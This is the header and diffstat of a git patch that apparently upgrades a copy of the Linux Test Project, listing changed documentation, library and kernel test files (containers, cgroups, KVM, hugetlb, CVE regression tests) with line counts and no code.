From 5b811ee56882c4d34cfe958efea534a34e271be8 Mon Sep 17 00:00:00 2001 From: gaoxue Date: Mon, 5 Feb 2024 10:59:52 +0800 Subject: [PATCH 1/3] =?UTF-8?q?ltp=E4=BB=A3=E7=A0=81=E5=8D=87=E7=BA=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: gaoxue --- .gitignore | 26 +- .gitmodules | 9 + .mailmap | 2 + IDcheck.sh | 11 +- INSTALL | 2 - Makefile | 31 +- README.OpenSource | 2 +- README.md | 14 +- VERSION | 2 +- ci/alpine.sh | 4 +- ci/debian.minimal.sh | 4 +- ci/debian.sh | 1 - ci/fedora.sh | 2 +- configure.ac | 92 +- doc/Build-System.rest | 218 ++ doc/C-Test-API.asciidoc | 2476 +++++++++++++++++ doc/C-Test-Case-Tutorial.asciidoc | 1079 +++++++ doc/C-Test-Network-API.asciidoc | 479 ++++ doc/KVM-Test-API.asciidoc | 487 ++++ ...TP-Library-API-Writing-Guidelines.asciidoc | 84 + doc/LTP-Release-Procedure.asciidoc | 170 ++ ...Maintainer-Patch-Review-Checklist.asciidoc | 141 + doc/Shell-Test-API.asciidoc | 828 ++++++ ...-kernel,-libc,-toolchain-versions.asciidoc | 77 + doc/Test-Writing-Guidelines.asciidoc | 412 +++ doc/User-Guidelines.asciidoc | 68 + doc/man1/ltp-pan.1 | 2 +- doc/man3/parse_ranges.3 | 2 +- doc/namespaces-helper-tools.txt | 16 +- docparse/Makefile | 2 +- docparse/README.md | 2 +- docparse/testinfo.pl | 3 +- include/ipcmsg.h | 2 - include/lapi/bpf.h | 35 +- include/lapi/capability.h | 4 + include/lapi/close_range.h | 13 + include/lapi/common_timers.h | 5 - include/lapi/cpuid.h | 30 + include/lapi/faccessat.h | 22 + include/lapi/fallocate.h | 10 +- include/lapi/fanotify.h | 211 ++ include/lapi/fcntl.h | 40 +- include/lapi/fs.h | 29 +- include/lapi/fsmount.h | 58 +- include/lapi/fsverity.h | 39 + include/lapi/futex.h | 180 ++ include/lapi/init_module.h | 14 +- include/lapi/io_uring.h | 15 +- include/lapi/ioprio.h | 47 + include/lapi/ipc.h | 14 + include/lapi/kcmp.h | 41 + include/lapi/keyctl.h | 4 + include/lapi/mkdirat.h | 2 +- include/lapi/mmap.h | 13 + include/lapi/mount.h | 19 +- include/lapi/name_to_handle_at.h | 2 +- include/lapi/pidfd.h | 61 + include/lapi/prctl.h | 7 + include/lapi/readlinkat.h | 2 +- include/lapi/renameat.h | 2 +- include/lapi/rt_sigaction.h | 10 +- include/lapi/sched.h | 106 +- include/lapi/sem.h | 4 + include/lapi/stat.h | 52 +- include/lapi/sync_file_range.h | 20 +- include/lapi/syscalls/aarch64.in | 2 + include/lapi/syscalls/arc.in | 2 + include/lapi/syscalls/arm.in | 2 + include/lapi/syscalls/hppa.in | 2 + include/lapi/syscalls/i386.in | 2 + include/lapi/syscalls/ia64.in | 2 + include/lapi/syscalls/loongarch.in | 307 ++ include/lapi/syscalls/mips_n32.in | 1 + include/lapi/syscalls/mips_n64.in | 1 + include/lapi/syscalls/mips_o32.in | 1 + include/lapi/syscalls/order | 1 + include/lapi/syscalls/powerpc.in | 2 + include/lapi/syscalls/powerpc64.in | 2 + include/lapi/syscalls/regen.sh | 28 +- include/lapi/syscalls/s390.in | 2 + include/lapi/syscalls/s390x.in | 2 + include/lapi/syscalls/sh.in | 2 + include/lapi/syscalls/sparc.in | 2 + include/lapi/syscalls/sparc64.in | 2 + include/lapi/syscalls/x86_64.in | 2 + include/lapi/timerfd.h | 6 +- include/lapi/userfaultfd.h | 190 ++ include/lapi/watch_queue.h | 112 + include/libnewipc.h | 3 +- include/mk/automake.mk | 10 +- include/mk/config.mk.in | 6 +- include/mk/env_post.mk | 2 + include/mk/features.mk.in | 3 + include/mk/generic_leaf_target.inc | 2 +- include/mk/rules.mk | 17 + include/old/old_tmpdir.h | 5 + include/old/test.h | 3 +- include/safe_macros_fn.h | 19 +- include/safe_net_fn.h | 3 + include/tst_buffers.h | 11 + include/tst_cgroup.h | 174 +- include/tst_checkpoint_fn.h | 4 +- include/tst_clone.h | 1 + include/tst_common.h | 4 + include/tst_device.h | 24 +- include/tst_epoll.h | 36 + include/tst_fs.h | 42 +- include/tst_fuzzy_sync.h | 93 +- include/tst_hugepage.h | 21 +- include/tst_kernel.h | 14 +- include/tst_kvercmp.h | 2 +- include/tst_memutils.h | 5 + include/tst_minmax.h | 5 + include/tst_mkfs.h | 3 +- include/tst_net.h | 16 + include/tst_netdevice.h | 124 +- include/tst_pid.h | 8 + include/tst_process_state.h | 19 + include/tst_rand_data.h | 15 + include/tst_safe_file_at.h | 18 + include/tst_safe_macros.h | 30 + include/tst_safe_net.h | 3 + include/tst_safe_posix_ipc.h | 82 + include/tst_safe_pthread.h | 74 + include/tst_sys_conf.h | 24 +- include/tst_test.h | 129 +- include/tst_test_macros.h | 94 +- lib/.gitignore | 3 + lib/Makefile | 13 + lib/README.md | 2 +- lib/cloner.c | 10 - lib/gen_version.sh | 16 + lib/newlib_tests/.gitignore | 6 +- lib/newlib_tests/Makefile | 2 +- lib/newlib_tests/runtest.sh | 10 +- lib/newlib_tests/shell/net/tst_ipaddr_un.sh | 2 +- lib/newlib_tests/shell/net/tst_rhost_run.sh | 2 +- lib/newlib_tests/shell/timeout01.sh | 2 +- lib/newlib_tests/shell/timeout02.sh | 2 +- lib/newlib_tests/shell/timeout03.sh | 2 +- lib/newlib_tests/shell/timeout04.sh | 2 +- lib/newlib_tests/shell/tst_all_filesystems.sh | 22 + .../shell/tst_all_filesystems_skip.sh | 17 + lib/newlib_tests/shell/tst_check_driver.sh | 17 +- lib/newlib_tests/shell/tst_check_kconfig01.sh | 3 +- lib/newlib_tests/shell/tst_check_kconfig02.sh | 2 +- lib/newlib_tests/shell/tst_check_kconfig03.sh | 2 +- lib/newlib_tests/shell/tst_check_kconfig04.sh | 2 +- lib/newlib_tests/shell/tst_check_kconfig05.sh | 2 +- lib/newlib_tests/shell/tst_errexit.sh | 66 + lib/newlib_tests/shell/tst_format_device.sh | 24 + lib/newlib_tests/shell/tst_mount_device.sh | 27 + .../shell/tst_mount_device_tmpfs.sh | 16 + .../shell/tst_skip_filesystems.sh | 35 + lib/newlib_tests/test13.c | 1 - lib/newlib_tests/test19.c | 14 +- lib/newlib_tests/test20.c | 24 +- lib/newlib_tests/test_children_cleanup.c | 42 + lib/newlib_tests/test_children_cleanup.sh | 30 + lib/newlib_tests/test_guarded_buf.c | 2 +- lib/newlib_tests/test_runtime01.c | 30 + lib/newlib_tests/test_runtime02.c | 28 + lib/newlib_tests/test_zero_hugepage.c | 11 +- lib/newlib_tests/tst_cgroup01.c | 19 +- lib/newlib_tests/tst_cgroup02.c | 59 +- lib/newlib_tests/tst_device.c | 105 +- lib/newlib_tests/tst_fuzzy_sync01.c | 8 +- lib/newlib_tests/tst_fuzzy_sync02.c | 8 +- lib/newlib_tests/tst_fuzzy_sync03.c | 1 + lib/random_range.c | 2 +- lib/safe_file_ops.c | 18 +- lib/safe_macros.c | 122 +- lib/safe_net.c | 17 + lib/safe_pthread.c | 226 ++ lib/tests/.gitignore | 17 + lib/tests/tst_safe_macros.c | 6 +- lib/tests/tst_tmpdir_test.c | 2 +- lib/tlibio.c | 16 +- lib/tst_assert.c | 4 +- lib/tst_bool_expr.c | 2 +- lib/tst_buffers.c | 28 +- lib/tst_cgroup.c | 532 +++- lib/tst_checkpoint.c | 1 - lib/tst_clocks.c | 3 +- lib/tst_clone.c | 3 +- lib/tst_device.c | 225 +- lib/tst_epoll.c | 81 + lib/tst_fill_fs.c | 82 +- lib/tst_fs_link_count.c | 2 +- lib/tst_fs_setup.c | 6 +- lib/tst_fs_type.c | 24 +- lib/tst_hugepage.c | 30 +- lib/tst_kconfig.c | 5 + lib/tst_kernel.c | 44 +- lib/tst_kvercmp.c | 15 +- lib/tst_lockdown.c | 41 +- lib/tst_memutils.c | 21 +- lib/tst_net.c | 23 + lib/tst_netdevice.c | 213 +- lib/tst_pid.c | 46 +- lib/tst_rand_data.c | 211 ++ lib/tst_res.c | 25 +- lib/tst_safe_file_at.c | 53 +- lib/tst_safe_io_uring.c | 3 + lib/tst_safe_macros.c | 39 + lib/tst_safe_sysv_ipc.c | 23 +- lib/tst_status.c | 20 + lib/tst_supported_fs_types.c | 41 +- lib/tst_sys_conf.c | 100 +- lib/tst_taint.c | 32 +- lib/tst_test.c | 377 ++- lib/tst_thread_state.c | 38 + lib/tst_timer_test.c | 18 +- lib/tst_tmpdir.c | 38 +- libs/libltpnuma/tst_numa.c | 17 +- libs/libltpsigwait/sigwait.c | 2 +- libs/libltpswap/libswap.c | 2 +- libs/libltpuinput/tst_uinput.c | 2 +- m4/ax_check_compile_flag.m4 | 53 + m4/ltp-docparse.m4 | 8 +- m4/ltp-eventfd.m4 | 16 +- m4/ltp-fsverity.m4 | 10 + m4/ltp-kernel_devel.m4 | 6 +- metadata/metaparse.c | 2 +- metadata/parse.sh | 4 +- pan/Makefile | 8 - runltp | 2 +- runtest/commands | 8 +- runtest/containers | 92 +- runtest/controllers | 8 + runtest/cve | 37 +- runtest/hugetlb | 32 + runtest/ipc | 2 - runtest/kvm | 4 + runtest/ltp-aio-stress | 55 + runtest/ltp-aiodio.part1 | 354 +-- runtest/ltp-aiodio.part2 | 163 +- runtest/ltp-aiodio.part4 | 4 +- runtest/math | 10 +- runtest/mm | 6 +- runtest/net.nfs | 35 +- runtest/net.rpc_tests | 3 + runtest/pty | 2 + runtest/sched | 1 + runtest/smoketest | 3 +- runtest/staging | 1 + runtest/syscalls | 96 +- runtest/syscalls-ipc | 2 - runtest/watchqueue | 9 + scenario_groups/default | 1 + scenario_groups/network | 1 - scripts/coccinelle/cgroup-ver.cocci | 16 +- .../coccinelle/kselftest-cgroup-to-ltp.cocci | 16 +- testcases/commands/ar/ar01.sh | 179 +- testcases/commands/cp/cp_tests.sh | 2 +- testcases/commands/cpio/cpio_tests.sh | 3 +- testcases/commands/df/df01.sh | 69 +- testcases/commands/du/du01.sh | 7 +- testcases/commands/eject/eject-tests.sh | 4 +- testcases/commands/file/file01.sh | 38 +- testcases/commands/gdb/gdb01.sh | 3 +- testcases/commands/gzip/gzip_tests.sh | 2 +- testcases/commands/insmod/insmod01.sh | 5 +- testcases/commands/keyctl/keyctl01.sh | 2 +- testcases/commands/ld/ld01.sh | 2 +- testcases/commands/ldd/ldd01.sh | 2 +- testcases/commands/ln/ln_tests.sh | 2 +- testcases/commands/lsmod/lsmod01.sh | 2 +- testcases/commands/mkdir/mkdir_tests.sh | 2 +- testcases/commands/mkfs/mkfs01.sh | 14 +- testcases/commands/mkswap/mkswap01.sh | 10 +- testcases/commands/mv/mv_tests.sh | 2 +- testcases/commands/nm/nm01.sh | 2 +- testcases/commands/shell/shell_pipe01.sh | 3 +- testcases/commands/sysctl/sysctl01.sh | 3 +- testcases/commands/sysctl/sysctl02.sh | 4 +- testcases/commands/tar/tar_tests.sh | 3 +- testcases/commands/unshare/unshare01.sh | 2 +- testcases/commands/unzip/unzip01.sh | 2 +- testcases/commands/vmcp/vmcp_m.sh | 3 +- testcases/commands/wc/wc01.sh | 2 +- testcases/commands/which/which01.sh | 2 +- testcases/cve/.gitignore | 2 + testcases/cve/cve-2014-0196.c | 11 +- testcases/cve/cve-2015-3290.c | 18 +- testcases/cve/cve-2016-10044.c | 9 +- testcases/cve/cve-2016-7117.c | 2 +- testcases/cve/cve-2017-16939.c | 82 +- testcases/cve/cve-2017-2671.c | 1 + testcases/cve/cve-2022-4378.c | 109 + testcases/cve/icmp_rate_limit01.c | 18 +- testcases/cve/meltdown.c | 4 +- testcases/cve/stack_clash.c | 89 +- testcases/cve/tcindex01.c | 136 + testcases/kernel/Makefile | 5 + testcases/kernel/connectors/pec/cn_pec.sh | 7 +- .../kernel/connectors/pec/pec_listener.c | 4 +- testcases/kernel/containers/Makefile | 27 +- .../kernel/containers/mountns/.gitignore | 4 + testcases/kernel/containers/mountns/Makefile | 21 +- testcases/kernel/containers/mountns/mountns.h | 32 + .../kernel/containers/mountns/mountns01.c | 197 +- .../kernel/containers/mountns/mountns02.c | 196 +- .../kernel/containers/mountns/mountns03.c | 217 +- .../kernel/containers/mountns/mountns04.c | 113 +- testcases/kernel/containers/mqns/Makefile | 27 +- testcases/kernel/containers/mqns/mqns_01.c | 188 +- testcases/kernel/containers/mqns/mqns_02.c | 248 +- testcases/kernel/containers/mqns/mqns_03.c | 305 +- testcases/kernel/containers/mqns/mqns_04.c | 274 +- testcases/kernel/containers/netns/Makefile | 4 +- .../kernel/containers/netns/netns_breakns.sh | 32 +- .../kernel/containers/netns/netns_comm.sh | 56 +- .../kernel/containers/netns/netns_lib.sh | 224 ++ .../kernel/containers/netns/netns_netlink.c | 8 +- .../kernel/containers/netns/netns_sysfs.sh | 25 +- testcases/kernel/containers/pidns/Makefile | 3 +- testcases/kernel/containers/pidns/pidns01.c | 142 +- testcases/kernel/containers/pidns/pidns02.c | 142 +- testcases/kernel/containers/pidns/pidns03.c | 146 +- testcases/kernel/containers/pidns/pidns04.c | 174 +- testcases/kernel/containers/pidns/pidns05.c | 298 +- testcases/kernel/containers/pidns/pidns06.c | 151 +- testcases/kernel/containers/pidns/pidns10.c | 133 +- testcases/kernel/containers/pidns/pidns12.c | 195 +- testcases/kernel/containers/pidns/pidns13.c | 13 +- testcases/kernel/containers/pidns/pidns16.c | 192 +- testcases/kernel/containers/pidns/pidns17.c | 190 +- testcases/kernel/containers/pidns/pidns20.c | 243 +- testcases/kernel/containers/pidns/pidns30.c | 325 +-- testcases/kernel/containers/pidns/pidns31.c | 360 +-- testcases/kernel/containers/pidns/pidns32.c | 121 +- testcases/kernel/containers/sysvipc/Makefile | 26 +- testcases/kernel/containers/sysvipc/common.h | 97 + .../kernel/containers/sysvipc/mesgq_nstest.c | 243 +- .../kernel/containers/sysvipc/msg_comm.c | 195 +- .../kernel/containers/sysvipc/sem_comm.c | 214 +- .../kernel/containers/sysvipc/sem_nstest.c | 210 +- .../kernel/containers/sysvipc/semtest_2ns.c | 322 +-- .../kernel/containers/sysvipc/shm_comm.c | 164 +- .../kernel/containers/sysvipc/shmem_2nstest.c | 231 +- .../kernel/containers/sysvipc/shmnstest.c | 178 +- testcases/kernel/containers/timens/timens01.c | 2 +- testcases/kernel/containers/userns/.gitignore | 9 + testcases/kernel/containers/userns/Makefile | 23 +- testcases/kernel/containers/userns/common.h | 40 + testcases/kernel/containers/userns/userns01.c | 129 +- testcases/kernel/containers/userns/userns02.c | 135 +- testcases/kernel/containers/userns/userns03.c | 299 +- testcases/kernel/containers/userns/userns04.c | 152 +- testcases/kernel/containers/userns/userns05.c | 171 +- testcases/kernel/containers/userns/userns06.c | 205 +- .../containers/userns/userns06_capcheck.c | 82 +- testcases/kernel/containers/userns/userns07.c | 154 +- testcases/kernel/containers/userns/userns08.c | 15 +- .../kernel/containers/utsname/.gitignore | 5 +- testcases/kernel/containers/utsname/Makefile | 25 +- .../kernel/containers/utsname/utsname01.c | 56 + .../kernel/containers/utsname/utsname02.c | 81 + .../kernel/containers/utsname/utsname03.c | 121 + .../kernel/containers/utsname/utsname04.c | 63 + .../kernel/controllers/cgroup/.gitignore | 4 +- .../kernel/controllers/cgroup/cgroup_core01.c | 108 + .../kernel/controllers/cgroup/cgroup_core02.c | 129 + .../kernel/controllers/cgroup/cgroup_core03.c | 131 + .../cgroup/cgroup_regression_6_1.sh | 4 +- .../cgroup/cgroup_regression_6_2.sh | 11 + .../cgroup/cgroup_regression_test.sh | 96 +- .../controllers/cgroup_fj/cgroup_fj_common.sh | 115 +- .../cgroup_fj/cgroup_fj_function.sh | 173 +- .../controllers/cgroup_fj/cgroup_fj_proc.c | 24 +- .../controllers/cgroup_fj/cgroup_fj_stress.sh | 171 +- testcases/kernel/controllers/cgroup_lib.sh | 141 +- .../controllers/cgroup_xattr/cgroup_xattr.c | 5 - .../kernel/controllers/cpuacct/cpuacct.sh | 3 +- .../cpuctl/run_cpuctl_stress_test.sh | 6 +- .../controllers/cpuctl/run_cpuctl_test.sh | 6 +- .../cpuctl_fj/run_cpuctl_test_fj.sh | 2 +- .../kernel/controllers/cpuset/cpuset_funcs.sh | 11 +- .../controllers/cpuset/cpuset_lib/libcpuset.c | 6 +- .../cpuset_memory_pressure_testset.sh | 6 +- .../cpuset_memory_spread_testset.sh | 10 +- .../cpuset_memory_testset.sh | 2 +- .../cpuset/cpuset_regression_test.sh | 35 +- .../controllers/freezer/00_description.txt | 2 +- .../controllers/freezer/freeze_self_thaw.sh | 2 +- .../controllers/freezer/vfork_freeze.sh | 2 +- testcases/kernel/controllers/io/.gitignore | 1 + testcases/kernel/controllers/io/Makefile | 6 + .../kernel/controllers/io/io_control01.c | 158 ++ testcases/kernel/controllers/memcg/.gitignore | 2 + .../controllers/memcg/control/mem_process.c | 28 +- .../memcg/control/memcg_control_test.sh | 153 +- .../memcg/functional/memcg_failcnt.sh | 13 +- .../memcg/functional/memcg_force_empty.sh | 4 +- .../controllers/memcg/functional/memcg_lib.sh | 125 +- .../memcg/functional/memcg_limit_in_bytes.sh | 6 +- .../memcg_max_usage_in_bytes_test.sh | 12 +- .../memcg_memsw_limit_in_bytes_test.sh | 8 +- .../memcg_move_charge_at_immigrate_test.sh | 2 +- .../memcg/functional/memcg_stat_rss.sh | 2 +- .../memcg/functional/memcg_stat_test.sh | 2 +- .../memcg/functional/memcg_subgroup_charge.sh | 10 +- .../functional/memcg_usage_in_bytes_test.sh | 12 +- .../functional/memcg_use_hierarchy_test.sh | 2 +- .../kernel/controllers/memcg/memcontrol01.c | 50 +- .../kernel/controllers/memcg/memcontrol02.c | 79 +- .../kernel/controllers/memcg/memcontrol03.c | 253 ++ .../kernel/controllers/memcg/memcontrol04.c | 253 ++ .../controllers/memcg/memcontrol_common.h | 47 + .../memcg/regression/memcg_regression_test.sh | 199 +- .../memcg/regression/memcg_test_1.c | 40 +- .../memcg/regression/memcg_test_2.c | 24 +- .../memcg/regression/memcg_test_3.c | 38 +- .../memcg/regression/memcg_test_4.c | 24 +- .../memcg/regression/memcg_test_4.sh | 50 +- .../memcg/stress/memcg_stress_test.sh | 56 +- testcases/kernel/controllers/pids/pids.sh | 68 +- testcases/kernel/crypto/af_alg02.c | 4 +- testcases/kernel/crypto/af_alg04.c | 2 +- testcases/kernel/crypto/af_alg05.c | 2 +- testcases/kernel/crypto/af_alg07.c | 1 + testcases/kernel/crypto/pcrypt_aead01.c | 7 +- .../kernel/device-drivers/acpi/ltp_acpi.c | 20 - .../block/block_dev_user/block_dev.c | 5 - testcases/kernel/device-drivers/nls/README | 2 +- .../device-drivers/pci/tpci_user/tpci.c | 5 - .../kernel/device-drivers/rcu/rcu_torture.sh | 3 +- testcases/kernel/device-drivers/rtc/rtc02.c | 81 +- .../device-drivers/tbio/tbio_user/tbio.c | 5 - .../kernel/device-drivers/uaccess/uaccess.c | 5 - testcases/kernel/device-drivers/zram/Makefile | 2 +- .../kernel/device-drivers/zram/zram01.sh | 60 +- .../kernel/device-drivers/zram/zram02.sh | 2 +- testcases/kernel/device-drivers/zram/zram03.c | 17 +- .../kernel/device-drivers/zram/zram_lib.sh | 9 +- .../kernel/firmware/fw_load_user/fw_load.c | 5 - .../kernel/fs/binfmt_misc/binfmt_misc01.sh | 2 +- .../kernel/fs/binfmt_misc/binfmt_misc02.sh | 2 +- .../kernel/fs/binfmt_misc/binfmt_misc_lib.sh | 8 +- testcases/kernel/fs/doio/write_log.c | 22 +- testcases/kernel/fs/fs_bind/bind/fs_bind01.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind02.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind03.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind04.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind05.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind06.sh | 2 +- .../kernel/fs/fs_bind/bind/fs_bind07-2.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind07.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind08.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind09.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind10.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind11.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind12.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind13.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind14.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind15.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind16.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind17.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind18.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind19.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind20.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind21.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind22.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind23.sh | 2 +- testcases/kernel/fs/fs_bind/bind/fs_bind24.sh | 2 +- .../fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh | 2 +- .../fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh | 2 +- .../fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh | 2 +- .../fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh | 2 +- .../fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh | 2 +- .../fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh | 2 +- .../fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh | 2 +- testcases/kernel/fs/fs_bind/fs_bind_lib.sh | 18 +- .../kernel/fs/fs_bind/fs_bind_regression.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move01.sh | 9 +- .../kernel/fs/fs_bind/move/fs_bind_move02.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move03.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move04.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move05.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move06.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move07.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move08.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move09.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move10.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move11.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move12.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move13.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move14.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move15.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move16.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move17.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move18.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move19.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move20.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move21.sh | 2 +- .../kernel/fs/fs_bind/move/fs_bind_move22.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind01.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind02.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind03.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind04.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind05.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind06.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind07-2.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind07.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind08.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind09.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind10.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind11.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind12.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind13.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind14.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind15.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind16.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind17.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind18.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind19.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind20.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind21.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind22.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind23.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind24.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind25.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind26.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind27.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind28.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind29.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind30.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind31.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind32.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind33.sh | 6 +- .../fs/fs_bind/rbind/fs_bind_rbind34.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind35.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind36.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind37.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind38.sh | 2 +- .../fs/fs_bind/rbind/fs_bind_rbind39.sh | 2 +- testcases/kernel/fs/fs_fill/fs_fill.c | 28 +- .../kernel/fs/fs_readonly/test_robind.sh | 2 + testcases/kernel/fs/fsstress/fsstress.c | 3 +- testcases/kernel/fs/fsstress/global.h | 9 +- testcases/kernel/fs/iso9660/isofs.sh | 3 +- testcases/kernel/fs/lftest/lftest.c | 2 +- testcases/kernel/fs/linktest/linktest.sh | 3 +- .../fs/quota_remount/quota_remount_test01.sh | 3 +- testcases/kernel/fs/read_all/Makefile | 1 + testcases/kernel/fs/read_all/read_all.c | 388 ++- testcases/kernel/fs/scsi/ltpfs/main.c | 4 +- testcases/kernel/fs/scsi/ltpscsi/scsimain.c | 5 +- .../cpu_hotplug/functional/cpuhotplug02.sh | 10 +- .../cpu_hotplug/functional/cpuhotplug05.sh | 9 +- .../cpu_hotplug/functional/cpuhotplug06.sh | 5 +- .../cpu_hotplug/functional/cpuhotplug07.sh | 12 +- testcases/kernel/input/input06.c | 2 +- testcases/kernel/input/input_helper.c | 21 +- testcases/kernel/io/direct_io/Makefile | 2 +- testcases/kernel/io/direct_io/diotest1.c | 4 +- testcases/kernel/io/direct_io/diotest2.c | 4 +- testcases/kernel/io/direct_io/diotest3.c | 2 + testcases/kernel/io/direct_io/diotest4.c | 1 - testcases/kernel/io/direct_io/diotest5.c | 10 +- testcases/kernel/io/direct_io/diotest6.c | 6 +- testcases/kernel/io/ltp-aiodio/.gitignore | 1 - testcases/kernel/io/ltp-aiodio/aio-stress.c | 997 +++---- testcases/kernel/io/ltp-aiodio/aiocp.c | 770 ++--- .../kernel/io/ltp-aiodio/aiodio_append.c | 29 +- .../kernel/io/ltp-aiodio/aiodio_sparse.c | 416 ++- testcases/kernel/io/ltp-aiodio/common.h | 20 +- testcases/kernel/io/ltp-aiodio/dio_append.c | 11 +- testcases/kernel/io/ltp-aiodio/dio_read.c | 11 +- testcases/kernel/io/ltp-aiodio/dio_sparse.c | 20 +- testcases/kernel/io/ltp-aiodio/dio_truncate.c | 17 +- testcases/kernel/kvm/.gitignore | 4 + testcases/kernel/kvm/Makefile | 69 + testcases/kernel/kvm/bootstrap_x86.S | 467 ++++ testcases/kernel/kvm/bootstrap_x86_64.S | 621 +++++ testcases/kernel/kvm/include/kvm_common.h | 39 + testcases/kernel/kvm/include/kvm_guest.h | 99 + testcases/kernel/kvm/include/kvm_host.h | 153 + testcases/kernel/kvm/include/kvm_test.h | 19 + testcases/kernel/kvm/include/kvm_x86.h | 229 ++ testcases/kernel/kvm/include/kvm_x86_svm.h | 166 ++ testcases/kernel/kvm/kvm_pagefault01.c | 235 ++ testcases/kernel/kvm/kvm_svm01.c | 123 + testcases/kernel/kvm/kvm_svm02.c | 152 + testcases/kernel/kvm/kvm_svm03.c | 169 ++ testcases/kernel/kvm/lib_guest.c | 195 ++ testcases/kernel/kvm/lib_host.c | 340 +++ testcases/kernel/kvm/lib_x86.c | 395 +++ testcases/kernel/kvm/linker/payload.lds | 11 + testcases/kernel/kvm/linker/x86.lds | 75 + testcases/kernel/kvm/linker/x86_64.lds | 75 + testcases/kernel/logging/kmsg/kmsg01.c | 1 - testcases/kernel/mem/.gitignore | 30 + testcases/kernel/mem/cpuset/cpuset01.c | 26 +- .../kernel/mem/hugetlb/hugefallocate/Makefile | 10 + .../hugetlb/hugefallocate/hugefallocate01.c | 169 ++ .../hugetlb/hugefallocate/hugefallocate02.c | 90 + .../kernel/mem/hugetlb/hugefork/Makefile | 9 + .../kernel/mem/hugetlb/hugefork/hugefork01.c | 92 + .../kernel/mem/hugetlb/hugefork/hugefork02.c | 91 + 